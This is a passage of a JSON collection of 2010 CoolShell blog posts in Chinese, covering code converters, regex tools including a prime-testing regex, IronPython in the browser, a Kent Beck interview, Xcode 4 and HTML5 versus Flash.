    "content": "---\nlayout: post\ntitle: .NET代码转换器\ndate: 2010/7/20/ 2:24:22\nupdated: 2010/7/20/ 2:24:22\nstatus: publish\npublished: true\ntype: post\n---\n\n想把.NET的代码（C#和VB.NET)互转吗？或是转成Python或Ruby吗？在 <http://www.developerfusion.com/> 站点上有这样的在线工具。点击下面的链接你可以使用这些工具。当然，这些工具也有很多[BUG](http://feedback.developerfusion.com/pages/code_converter)。\n\n\n* [把 C# 转成 VB.NET](http://www.developerfusion.com/tools/convert/csharp-to-vb/)\n* [把 C# 转成 Python](http://www.developerfusion.com/tools/convert/csharp-to-python/)\n* [把 C# 转成Ruby](http://www.developerfusion.com/tools/convert/csharp-to-ruby/)\n* [把 VB.NET 转成C#](http://www.developerfusion.com/tools/convert/vb-to-csharp/)\n* [把 VB.NET 转成 Python](http://www.developerfusion.com/tools/convert/vb-to-python/)\n* [把 VB.NET 转成 Ruby](http://www.developerfusion.com/tools/convert/vb-to-ruby/)\n\n\n老实说，我并不太清楚这些工具有什么用，看似很useless。难道是为了用来学习新的语言？就像Google的Translator的一样？就像一个并不懂中文的老外可以用Google Translator在其Facebook中整点中文耍耍酷一样，难道说，一个C#的程序员可以用这样的工具和一个Python的程序员也耍耍酷？各位看客觉得这个东西有意义吗？\n\n\n不过，有一点我可以确定，如果有工具把Unix/Linux下的C源码和Windows下的C源码相互自动转换，估计这会是相当划时代的，因为，这应该会让那些什么Wine或Cygwin之类的东西都统统会成为历史了。不过，这样的东西在实现上又将会有多么大的难度（OS系统API的相互转换），这个事会有可行性吗？\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/11235.html)[一个浮点数跨平台产生的问题](https://coolshell.cn/articles/11235.html)\n* [![一些非常不错的资料](../wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg)](https://coolshell.cn/articles/3192.html)[一些非常不错的资料](https://coolshell.cn/articles/3192.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/3008.html)[Windows编程革命简史](https://coolshell.cn/articles/3008.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\nThe post [.NET代码转换器](https://coolshell.cn/articles/2672.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-20 浏览器正则表达式检查插件.md",
    "content": "---\nlayout: post\ntitle: 浏览器正则表达式检查插件\ndate: 2010/7/20/ 0:10:40\nupdated: 2010/7/20/ 0:10:40\nstatus: publish\npublished: true\ntype: post\n---\n\n以前本站介绍过一个在线的《[正则表达式生成器](https://coolshell.cn/articles/1830.html)》，下面是两个在浏览器中检查正则表达式的插件，Firefox的和Chrome的，希望对你有用。\n\n\n### 1）Firefox：[Regular Expressions Tester](https://addons.mozilla.org/en-US/firefox/addon/2077/)\n\n\nhttp://sebastianzartner.de/new/resources/images/RExT/main.png \"Firefox正规则表达式检查插件Regular Expressions Tester\"Firefox正规则表达式检查插件Regular Expressions Tester\n### \n\n\n### 2）Chrome：[Regular Expression Checker](https://chrome.google.com/extensions/detail/pgnkpcgniljiolidjmodgfljeomjjiha)\n\n\n\nhttps://chrome.google.com/extensions/img/pgnkpcgniljiolidjmodgfljeomjjiha/1264182031.53/screenshot_big/2001 \"Chrome正规则表达式检查插件Regular Expression Checker\"Chrome正规则表达式检查插件Regular Expression Checker\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![Mozilla的一个BUG](../wp-content/uploads/2010/09/Mozilla-150x150.jpg)](https://coolshell.cn/articles/2936.html)[Mozilla的一个BUG](https://coolshell.cn/articles/2936.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/2704.html)[检查素数的正则表达式](https://coolshell.cn/articles/2704.html)\n* [![谷歌Chrome取消”http://”](../wp-content/uploads/2010/04/URL-BAR-150x150.png)](https://coolshell.cn/articles/2367.html)[谷歌Chrome取消”http://”](https://coolshell.cn/articles/2367.html)\n* [![一个浏览器市场占有量的图](../wp-content/uploads/2010/01/browser_history-150x150.jpg)](https://coolshell.cn/articles/2069.html)[一个浏览器市场占有量的图](https://coolshell.cn/articles/2069.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/1830.html)[正则表达式生成器](https://coolshell.cn/articles/1830.html)\nThe post [浏览器正则表达式检查插件](https://coolshell.cn/articles/2667.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-21 在Javascript里写Python.md",
    "content": "---\nlayout: post\ntitle: 在Javascript里写Python\ndate: 2010/7/21/ 0:17:39\nupdated: 2010/7/21/ 0:17:39\nstatus: publish\npublished: true\ntype: post\n---\n\n以前，本站介绍过去一种[写HTML和CSS的新方法](https://coolshell.cn/articles/2406.html)，以[一种杂交式的代码](https://coolshell.cn/articles/2529.html)，昨天给大家介绍了[.NET代码和Python及Ruby代码的互相转换工具](https://coolshell.cn/articles/2672.html)，但是这个世界可能比我们想像的还疯狂。[IronPython](http://ironpython.net/) 是一个在.NET平台上运行Python的东西，就像那些在[JVM上运行其它语言的东东](https://coolshell.cn/articles/2631.html)一样。当然，IronPython最邪恶的事情并不是在.NET上运行Python，而是在Javascript里写Python的语法。这个畸形混血儿的网址在[这里](http://ironpython.net/browser/)（请注意翻墙）。\n\n\n使用这个玩意很简单，下面，让我们看看这个混血儿长啥样？\n\n\n首先，你需要链接一个js文件：\n\n\n\n```\n\n<script src=\"http://gestalt.ironpython.net/dlr-latest.js\" type=\"text/javascript\"></script>\n```\n\n然后，让我们看看如何写一个按钮事件：\n\n\n\n```\n\n<input id=\"button\" type=\"button\" value=\"Say, Hello!\" />\n<script type=\"text/python\">\n  def button_onclick(s, e):\n      window.Alert(\"Hello from Python!\")\n  document.button.events.onclick += button_onclick\n</script>\n\n```\n\n你对此事怎么看？欢迎留下你的看法。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\nThe post [在Javascript里写Python](https://coolshell.cn/articles/2688.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-22 Kent Beck 谈单元测试和持续部署.md",
    "content": "---\nlayout: post\ntitle: Kent Beck 谈单元测试和持续部署\ndate: 2010/7/22/ 0:0:23\nupdated: 2010/7/22/ 0:0:23\nstatus: publish\npublished: true\ntype: post\n---\n\n*[文章来源](http://blog.typemock.com/2010/07/video-kent-beck-on-junit-max-and-lean.html)*\n\n\n2010年7月2日，Roy Osherove 和 Kent Beck 在 blog.typemock.com 进行了一次对话，话题涉及单元测试（Unit Testing），[JUnit Max](http://www.threeriversinstitute.org/junitmax/)（Kent 开发的一个单元测试的 Eclipse Plugin，不免费），和面向初创企业的精益方法（Lean Startups）。\n\n\n**单元测试和 JUnit Max**  \n\n作为软件开发方法学的大师、极限编程XP的创始人、敏捷宣言的创始人之一，Kent Beck 一直在努力最大化地利用单元测试的价值，他说一些程序员仍然认为单元测试并不是他们的工作，但是单元测试确实能够提高软件的质量。目前他正在开发 JUnit Max，这是一个 Eclipse plugin，每当程序员保存一个 Java 源文件的时候，JUnit Max 就会运行测试并报告反馈信息。测试中的错误将会如同编译错误一样被报告给程序员。JUnit Max 的核心思想是测试错误应该和编译错误一样被 IDE 报告给程序员，程序员不需要额外的菜单选项或者运行其他的工具来运行测试。特别是那些经常失败的测试，对于程序员来说是非常有价值的反馈信息。在测试驱动开发（Test Driven Development – TDD）中，我们重复着这样一个循环：“编写一个‘失败’的测试（Failing Test）” – “编码实现功能以便让测试通过”，随着开发的深入，测试越来越丰富，测试能够反馈给程序员的信息也越来越多，它们可以帮助程序员找出那些需要改进的代码。JUnit Max 能够缩短这个循环的周期，因为它更为频繁地运行测试和提供反馈。Roy 问道：“当你一个人编码的时候，你是否严格地遵循 TDD，即一定要先写测试，然后写实现代码。我个人发现这并不是一件容易做到的事情，特别是当一个人编码的时候。” Kent 回答：“视情况而定，有时候并不需要死板地遵循 TDD，比如当我在做一些探索性或者说实验性的编码时，并不需要写测试，因为我只是想尝试一下某些功能和特性。”\n\n\n\nRoy： “你在测试驱动开发中见过的最糟糕的错误有哪些？”  \n\nKent：“很多程序员仅仅是拷贝和粘贴测试代码，但并不理解它们。所以我们经常能看到没有断言的测试，同时测试很多逻辑和功能的测试，过于臃肿或者过于短小的测试等等。当然这些错误在学习过程中很普遍，也是我们学习的一部分。”\n\n\nRoy：“你下一步最想尝试的新概念是什么？”  \n\nKent：“我最近谈论的一个主题是 Software G Forces，是关于软件产品的部署频率（Frequency of Deployment），这里的部署是指面向最终用户的部署或者说发布，是生产环境而非测试环境。从前的软件产品每年（或数年）发布一个新的版本，而现在的软件产品发布频率越来越快，从每季度，每月，每周，每天，直至每小时。Kent 提及有一些非常复杂的软件产品的发布频率甚至是每天 40 到 50 次。此时 Roy 提出了一个非常好的问题：“产品发布得如此频繁，我们如何能够在这么短的时间间隔内获得用户反馈呢？”，Kent 回答道：“持续部署（Continuous Deployment）确实需要一些基础设施建设来支持，比如：自动版本回滚，自动错误检测，系统同时运行多个版本的能力，比如一个服务器集群中不同的服务器上可以运行产品的不同版本。”\n\n\nRoy 问道：“当你在开发一个产品的时候，你在为客户创造价值，而持续部署创造的则是一种内在的价值，并且实施过程也是非常复杂的，你怎样投入时间去实施它呢？是否需要从产品设计的一开始就考虑这些问题呢？”，Kent 答道：“5 年之内市场上可能会有许多持续部署的产品出现，目前我们可能需要自己来寻求解决方案，因为现在它还是一个较新的领域。持续部署的重点之一是及时捕获系统错误，不仅仅是技术层面上的错误，同时也包括业务层面。以 Amazon.com 为例，他们评价系统运行的良好程度是以业务运营状况为依据的，如果销售额出现不明原因的下降，系统也会发出错误警告。”\n\n\n注：为了不让文章过长，下半部分的面向初创企业的精益方法（Lean Startups）将在后面发布。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\nThe post [Kent Beck 谈单元测试和持续部署](https://coolshell.cn/articles/2681.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-23 检查素数的正则表达式.md",
    "content": "---\nlayout: post\ntitle: 检查素数的正则表达式\ndate: 2010/7/23/ 0:22:27\nupdated: 2010/7/23/ 0:22:27\nstatus: publish\npublished: true\ntype: post\n---\n\n一般来说，我们会使用正规表达式来做字符串匹配，今天在网上浏览的时候，看到了有人用正则表达式来检查一个数字是否为素数（质数），让我非常感兴趣，这个正则表达式如入所示：\n\n\n![](../wp-content/uploads/2010/07/regexpr-for-prime-number.jpg \"检查素数的正则表达式\")检查素数与否的正则表达式 \n要使用这个正规则表达式，你需要把自然数转成多个1的字符串，如：2 要写成 “11”， 3 要写成 “111”, 17 要写成“11111111111111111”，这种工作使用一些脚本语言可以轻松的完成。\n\n\n一开始我对这个表达式持怀疑态度，但仔细研究了一下这个表达式，发现是非常合理的，下面，让我带你来细细剖析一下是这个表达式的工作原理。\n\n\n首先，我们看到这个表达式中有“|”，也就是说这个表达式可以分成两个部分：/^1?$/ 和 /^(11+?)\\1+$/\n\n\n* **第一部分：/^1?$/**， 这个部分相信不用我多说了，其表示匹配“空串”以及字串中只有一个“1”的字符串。\n* **第二部分：/^(11+?)\\1+$/**，这个部分是整个表达式的关键部分。其可以分成两个部分，**(11+?)** 和**\\1+$**，前半部很简单了，匹配以“11”开头的并重复0或n个1的字符串，后面的部分意思是把前半部分作为一个字串去匹配还剩下的字符串1次或多次（这句话的意思是——剩余的字串的1的个数要是前面字串1个数的整数倍）。\n\n\n可见这个正规则表达式是取非素数，要得到素数还得要对整个表达式求反。通过上面的分析，我们知道，第二部分是最重要的，对于第二部分，举几个例子，\n\n\n\n**示例一：判断自然数8**。我们可以知道，8转成我们的格式就是“11111111”，对于**(11+?)**，其匹配了“11”，于是还剩下“111111”，而**\\1+$**正好匹配了剩下的“111111”，因为，“11”这个模式在“111111”出现了三次，符合模式匹配，返回true。所以，匹配成功，于是这个数不是质数。\n\n\n**示例二：判断自然数11**。转成我们需要的格式是“11111111111”（十一个1），对于**(11+?)**，其匹配了“11”（前两个1），还剩下“111111111”（九个1），而**\\1+$**无法为“11”匹配那“九个1”，因为“11”这个模式并没有在“九个1”这个串中正好出现N次。于是，我们的正则表达式引擎会尝试下一种方法，先匹配“111”（前三个1），然后把“111”作为模式去匹配剩下的“11111111”（八个1），很明显，那“八个1”并没有匹配“三个1”多次。所以，引擎会继续向下尝试……直至尝试所有可能都无法匹配成功。所以11是素数。\n\n\n通过示例二，我们可以得到这样的等价数算算法，正则表达式会匹配这若干个1中有没有出现“二个1”的整数倍，“三个1”的整数倍，“四个1”的整数倍……，而，这正好是我们需要的算素数的算法。现在大家明白了吧。\n\n\n下面，我们用perl来使用这个正规则表达式不停地输出素数：（关于perl的语法我就不多说了，请注意表达式前的取反操作符）\n\n\n[perl]perl -e’$|++;(1 x$\\_)!~/^1?$|^(11+?)\\1+$/&&print\"$\\_ \"while ++$\\_'[/perl]\n\n\n另外，让我们来举一反三，根据上述的这种方法，我们甚至可以用正则表达式来求证某方式是否有解，如：\n\n\n* **二元方程**：17x + 12y = 51   判断其是否有解的正则表达式是：**^****(****.\\*****)****\\1{16}****(****.\\*****)****\\2{11}$**\n* **三元方程**：11x + 2y + 5z = 115 判断其是否有解的正则表达式是：**^****(****.\\*****)****\\1{10}****(****.\\*****)****\\2{1}****(****.\\*****)****\\3{4}$**\n\n\n大家不妨自己做做练习，为什么上述的两个正则表达式可以判断方程是否有解。如果无法参透其中的奥妙的话，你可以读读这篇[英文文章](http://blog.stevenlevithan.com/archives/algebra-with-regexes)。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/2667.html)[浏览器正则表达式检查插件](https://coolshell.cn/articles/2667.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/1830.html)[正则表达式生成器](https://coolshell.cn/articles/1830.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/1387.html)[十个Web开发文章和教程](https://coolshell.cn/articles/1387.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/1574.html)[bash 函数级重定向](https://coolshell.cn/articles/1574.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/1095.html)[整洁代码的4个提示](https://coolshell.cn/articles/1095.html)\nThe post [检查素数的正则表达式](https://coolshell.cn/articles/2704.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-23 苹果开发工具Xcode 4 第二预览版.md",
    "content": "---\nlayout: post\ntitle: 苹果开发工具Xcode 4 第二预览版\ndate: 2010/7/23/ 9:40:0\nupdated: 2010/7/23/ 9:40:0\nstatus: publish\npublished: true\ntype: post\n---\n\n今天，苹果公司向开发者发布Xcode 4 Preview 2，这是一个IDE用来开发在Mac，iPhone，iPad上应用程序的工具。在这个第二预览版中，主要有以下新的功能：\n\n\n* 这个版本不像以往的版本有太多的窗口，其把以前那些窗口督统一起来，只有一个窗口。\n* 集成了Interface Builder（以前这个东东和Xcode是两个东西）\n* Xcode Assistant 可以让你的设计和代码同时呈现。\n* LLVM Compiler 2.0。LLVM是下一代的编译器，其完全支持C，C++和Objective C，而且编译的速度和编译成的执行速度都快于GCC。同时也引入了LLDB做为新的调试器。\n* 多版本编译。这个功能可以让你在IDE中编译两个版本的代码，而且可以和Subversion或Git集成。\n\n\n你可以访问 [What’s New](http://developer.apple.com/technologies/tools/whats-new.html) 来看看具体的细节。\n\n\n[http://devimages.apple.com/technologies/tools/images/new_single_window20100721.jpg \"苹果开发工具Xcode 4 Preview 2\"](http://developer.apple.com/technologies/tools/whats-new.html)苹果开发工具Xcode 4 Preview 2\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/5089.html)[10个必需的iOS开发工具和资源](https://coolshell.cn/articles/5089.html)\n* [![消费者的消费观](../wp-content/uploads/2010/09/1-150x150.png)](https://coolshell.cn/articles/2913.html)[消费者的消费观](https://coolshell.cn/articles/2913.html)\n* [![由苹果的低级Bug想到的](../wp-content/uploads/2014/02/apple_goto_fail-150x150.png)](https://coolshell.cn/articles/11112.html)[由苹果的低级Bug想到的](https://coolshell.cn/articles/11112.html)\n* [![抄袭，腾讯 和 产品 ](../wp-content/uploads/2012/06/i-hate-copycat-150x150.png)](https://coolshell.cn/articles/7617.html)[抄袭，腾讯 和 产品](https://coolshell.cn/articles/7617.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/6775.html)[Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/5901.html)[腾讯，竞争力 和 用户体验](https://coolshell.cn/articles/5901.html)\nThe post [苹果开发工具Xcode 4 第二预览版](https://coolshell.cn/articles/2719.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-25 计算机编程简史图.md",
    "content": "---\nlayout: post\ntitle: 计算机编程简史图\ndate: 2010/7/25/ 23:54:16\nupdated: 2010/7/25/ 23:54:16\nstatus: publish\npublished: true\ntype: post\n---\n\n这个图片太经典了，本来想翻译的，后来觉得这么经典的图片可能早已被人翻译了，简单的Google一下，果然有人翻译了。那我就把英文版和中文版都转过来吧。我们可以看到，其中很大一部分人都和Unix有着不解之缘（参见《[Unix传奇上篇](https://coolshell.cn/articles/2322.html)，[Unix传奇下篇](https://coolshell.cn/articles/2324.html)》）\n\n\n* [英文原版](http://www.smashingmagazine.com/2010/06/06/designing-the-world-of-programming-infographic/)\n* [中文翻译版](http://www.mazingtech.com/cn/list.aspx/News/1/%E5%9B%BE%E8%AF%B4%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BC%96%E7%A8%8B%E7%AE%80%E5%8F%B2)\n\n\n什么也不说了，直接上图（图片比较大，单击图片看大图）\n\n\n\n\n---\n\n\n[![](../wp-content/uploads/2010/07/aboutprogramming04.eng_-409x1024.jpg \"计算机编程简史图（英文版） \")](https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04.eng_.jpg)计算机编程简史图（英文版） \n\n\n---\n\n\n\n[![](../wp-content/uploads/2010/07/aboutprogramming04_cn-409x1024.jpg \"计算机编程简史图（中文版） \")](https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04_cn.jpg)计算机编程简史图（中文版） \n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Unix 50 年：Ken Thompson 的密码](../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg)](https://coolshell.cn/articles/19996.html)[Unix 50 年：Ken Thompson 的密码](https://coolshell.cn/articles/19996.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\nThe post [计算机编程简史图](https://coolshell.cn/articles/2724.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-27 HTML5 和 Flash 之争.md",
    "content": "---\nlayout: post\ntitle: HTML5 和 Flash 之争\ndate: 2010/7/27/ 0:0:4\nupdated: 2010/7/27/ 0:0:4\nstatus: publish\npublished: true\ntype: post\n---\n\n*[文章来源](http://html5.tomasdev.com.ar/)*\n\n\n二者之间的竞争会演变成为一场“战争”吗？（现在甚至出现了可以[把Flash转成Javascript/HTML5](https://coolshell.cn/articles/2497.html)的工具）\n\n\n首先需要弄清楚二者之间最主要的区别，HTML 是一种语言（超文本标记语言 – HyperText Markup Language），而 Flash 是 Adobe（其收购了Macromedia）公司的一个浏览器插件（Plugin）。HTML5 目前还是 W3.org 规范中一个草案，这意味着其还没有最终定案，希望到 2012 年这项工作能够完成。\n\n\n以下是二者各自的一些特点：\n\n\n#### **HTML5**\n\n\n这个新的技术更为易学和易用，比较 .FLA 和 .SWF 文件更容易编辑。并且基本上过去所有由 Flash 才能制作的动画效果都能够使用 JS + HTML5 + CSS 3 来完成，不过工作量可能会更大一些，不仅文件尺寸会增大，性能方面也会有影响。\n\n\n以前为 Web 表单设定风格我们一定需要使用到 JavaScript， 但是 HTML5 中的 contenteditable 属性让我们可以做得更多。一些新的输入类型（Types of Inputs）也被加入到 HTML5 中，如：电子邮件，数字，值范围等等。\n\n\n用户不仅仅需要一个支持 HTML5 的浏览器，还需要 CCS 3 和新的 JavaScript 引擎的支持。\n\n\n免费（不包括第三方字体和音频视频等等）\n\n\n更好地移动设备支持（HTML5 正在被运用于 iPhone，iPod，iPad 和 Android 应用的开发）\n\n\n拖拽，事实上这不是 HTML5 的一部分，但是在新版本的 GMail 中，从桌面拖拽文件到浏览器能够用 HTML5 很好地实现。对于 Flash 我不知道这是否可以实现？\n\n\n\n#### **Flash**\n\n\n文件经过压缩，所以文件尺寸会比 HTML5 + CSS + JavaScript + 图像 + 其他 小。\n\n\n硬件优化\n\n\n需要安装 Flash 插件， Android 2.2（代号 FroYo）同样支持 Flash 插件。\n\n\nAdobe 在它的 Creative Suite 5 中包含了 Flash Builder 4.0。\n\n\n也许对很多人来说，相对于 HTML + JavaScript + CSS，Flash 应用 更难于“破解”。\n\n\n以下是一些 Flash 能够实现而 HTML5 + JavaScript + CSS 3 不能的功能：\n\n\n* 增强现实（Augmented Reality）\n* 3D\n* 真正的面向对象，而非原型（Prototyping）\n* 对麦克风和摄像头的支持（事实上 HTML5 已经宣布要提供这些支持）\n* 混色模式（如：渐进色，重叠色等等）\n* Action Message Format （AMF）\n* 二进制数据（Binary Data）\n* 位图数据（BitMapData，HTML5 的画布 Canvas 和矢量标记语言 VML 可以实现近似的功能）\n* 图形处理器的利用（Use of GPU）\n\n\n#### 结论\n\n\nHTML5 是一项新技术，很多人会想要尝试它，而 Flash 业已存在很久，并且还将会有很长的生命周期。HTML5 短期内无法完全替代 Flash，而 Flash 可以作为 HTML5 的一个很好的补充。\n\n\n#### HTML5 相关的一些链接\n\n\n* [HTML5 Browser Compatibility Test](http://html5test.com/)\n* [HTML5 by Apple](http://www.apple.com/html5/)\n* [HTML5 Demos](http://html5demos.com/)\n* [HTML5 Rocks](http://www.html5rocks.com/)\n* [HTML5 Watch](http://html5watch.tumblr.com/), not necessarily HMTL5 but interesting applies of JS like the Google Pacman\n* [Chrome Experiments](http://www.chromeexperiments.com/)\n* [Learn HTML5: 10 must read lessons](http://www.webhostingsecretrevealed.com/featured-articles/learn-html5-10-must-read-lessons/)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [![你准备使用 HTML 5 吗？](../wp-content/uploads/2010/09/WTF_HTML51-150x150.jpg)](https://coolshell.cn/articles/2926.html)[你准备使用 HTML 5 吗？](https://coolshell.cn/articles/2926.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\nThe post [HTML5 和 Flash 